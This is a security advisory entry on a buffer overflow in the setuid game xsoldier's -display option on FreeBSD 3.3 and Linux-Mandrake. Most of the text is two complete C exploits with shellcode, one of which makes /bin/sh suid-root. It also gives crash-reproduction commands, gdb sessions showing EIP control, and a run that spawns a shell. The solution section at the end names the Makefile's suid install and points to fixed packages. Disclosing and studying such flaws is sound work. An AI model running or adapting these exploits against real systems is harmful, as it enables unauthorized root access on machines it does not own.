COMMAND

    xsoldier

SYSTEMS AFFECTED

    FreeBSD 3.3, Linux

PROBLEM

    Brock Tellier found following.   A vulnerability in FreeBSD  3.3's
    xsoldier will allow any user to gain root access.  This user  does
    not have to have a valid  $DISPLAY to exploit this.  Only  FreeBSD
    3.3-RELEASE has been tested.  xsoldier, suid-root by default,  was
    installed as part of the X11 games packages via /stand/sysinstall.

    More problems with FreeBSD 3.3 ports.  This time with xsoldier,  a
    suid-root game.  A simple  overflow in the -display option  allows
    any user to  gain root.   Although xsoldier only  runs under X,  a
    long -display arg on the CL will allow us to gain root.

    /*
     * xsoldier exploit for Freebsd-3.3-RELEASE
     * Drops a suid root shell in /bin/sh
     * Brock Tellier btellier@usa.net
     */


    #include <stdio.h>

    char shell[]= /* mudge@l0pht.com */
      "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
       "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
       "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
       "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";

    #define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"

    void buildui() {
    FILE *fp;
      char cc[100];
      fp = fopen("/tmp/ui.c", "w");
      fprintf(fp, CODE);
      fclose(fp);
      snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
      system(cc);
    }

    main (int argc, char *argv[] ) {
     int x = 0;
     int y = 0;
     int offset = 0;
     int bsize = 4400;
     char buf[bsize];
     int eip = 0xbfbfdb65; /* works for me */
     buildui();

     if (argv[1]) {
       offset = atoi(argv[1]);
       eip = eip + offset;
     }
     fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
    <btellier@usa.net>\n");
     fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
     fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

     for ( x = 0; x < 4325; x++) buf[x] = 0x90;
         fprintf(stderr, "NOPs to %d\n", x);

     for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
         fprintf(stderr, "Shellcode to %d\n",x);

      buf[x++] =  eip & 0x000000ff;
      buf[x++] = (eip & 0x0000ff00) >> 8;
      buf[x++] = (eip & 0x00ff0000) >> 16;
      buf[x++] = (eip & 0xff000000) >> 24;
         fprintf(stderr, "eip to %d\n",x);

     buf[bsize]='\0';

    execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);

    }

    Larry C$  had been  looking at  some setuid  files on his mandrake
    installation  and  noticed  that  xsolider  was  setgid games.  He
    remembered a local exploit above.   As an excersize he checked  to
    see if he could find the segfault in xsolider myself.   He guessed
    it was the display variable.  His first attempt was a success.

        $ /usr/games/xsoldier -d `perl -e 'print "A" x 4500'`

        -snip-
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        AAAAA] can't open display.
        Segmentation fault

    At 4397 he first got a segmentation fault.  He realized that  this
    is not  a new  vulberability, but  it might  be fun  to write  and
    exploit for linux as one existed in freebsd.  He attempted to  get
    a  core  dump  by  suing  to  root  and attempting the above again
    (thinking  core  dumps  were  supressed  for normal users) with no
    luck.  So he downloaded  the source code to xsolider  compiled and
    tried again.

        #  /tmp/xsoldier -d `perl -e 'print "A" x 4397'`
        -snip-
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

        Segmentation fault (core dumped)

    Ok. Lets see if we are getting 0x41 in EIP

        #gdb /tmp/xsoldier core
        GNU gdb 19991116
         -snip-
        Core was generated by `/tmp/xsoldier -d
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
        Program terminated with signal 11, Segmentation fault.
        -snip-
        Reading symbols from /lib/ld-linux.so.2...done.
        Reading symbols from /lib/libnss_files.so.2...done.
        #0  0x41 in ?? ()

    Yep, just barely so increase  the buffersize to 4400 and  with the
    new corefile we get

        # gdb /tmp/xsoldier core
        Core was generated by `/tmp/xsoldier -d
        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
        Program terminated with signal 11, Segmentation fault.
        -snip-
        Reading symbols from /lib/ld-linux.so.2...done.
        Reading symbols from /lib/libnss_files.so.2...done.
        #0  0x41414141 in ?? ()
        (gdb) info regi eip
        eip            0x41414141       0x41414141
        (gdb)

    Ok, so lets try putting some shellcode in there.

    /*lwcashdollar wmcdplay exploit modified for xsolider.
     * lwc@vapid.dhs.org http://vapid.dhs.org
     * trying to get euid=games.*/


    #include <stdio.h>
    #include <stdlib.h>

    #define NOP 0x90                /*no operation skip to next instruction
    . */
    #define LEN 4480                        /*our buffersize. */


    char shellcode[] =              /*hellkit v1.1 */
      "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
      "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
     "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
      "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xed\x5c"
      "\xc2\x91";


    /*Nab the stack pointer to use as an index into our nop's*/
    long
    get_sp ()
    {
      __asm__ ("mov %esp, %eax");
    }

    int
    main (int argc, char *argv[])
    {
      char buffer[LEN];
      int i, offset;
      long retaddr = get_sp ();

      if (argc <= 1)
        offset = 0;
      else
        offset = atoi (argv[1]);

    /*#Copy the NOPs  in to the buffer leaving space for shellcode and
      #pointers*/

      for (i = 0; i < (LEN - strlen (shellcode) - 100); i++)
        *(buffer + i) = NOP;

    /*[NNNNNNNNNNNNNNNNNNNNN                            ]*/
    /*                      ^-- LEN -(strlen(shellcode)) - 35*/
    /*#Copy the shell code into the buffer*/

      memcpy (buffer + i, shellcode, strlen (shellcode));

    /*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS            ]*/
    /*                      ^-(buffer+i)                 */
    /*#Fill the buffer with our new address to jump to esp + offset */

      for (i = i + strlen (shellcode); i < LEN; i += 4)
        *(long *) &buffer[i] = retaddr+offset;

    /*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/
    /*                                      ^-(i+strlen(shellcode))*/

      printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN);  execl
    ("/usr/games/xsoldier", "xsoldier", "-display", buffer, 0);

    }

    [larry@Nemia overflow]$ ./wmx 400
    Jumping to address bfffe9dc BufSize 4480
    Segmentation fault
    [larry@Nemia overflow]$ ./wmx 1400
    Jumping to address bfffedc4 BufSize 4480
    sh-2.03$ id
    uid=501(larry) gid=503(larry)
    groups=503(larry),22(cdrom),81(audio),105(urpmi),502(xgrp)

    OK, so the  next step would  be to put  a setregid(); call  in the
    shellcode to get egid=12.  This is where Larry lack in experience.
    Its egid games so not that interesting and an old exploit.

SOLUTION

    This is not particular to  FreeBSD.  This is the  xsoldier program
    compiled normally. In fact,  in the distribution of  xsoldier, the
    Makefile precisely specifies that the program should be  installed
    suid:

    install.bin::
            @if [ -d $(BINDIR) ]; then set +x;         else (set -x; $(MKDIRHIER) $(
    BINDIR)); fi

            $(INSTALL) -c -m 4755 $(PROGRAM) $(BINDIR)/$(PROGRAM)
            @echo "install bin . done"

    As for Linux-Mandrake please upgrade to:

        xsoldier-0.96-13mdk.i586.rpm
        xsoldier-0.96-13mdk.src.rpm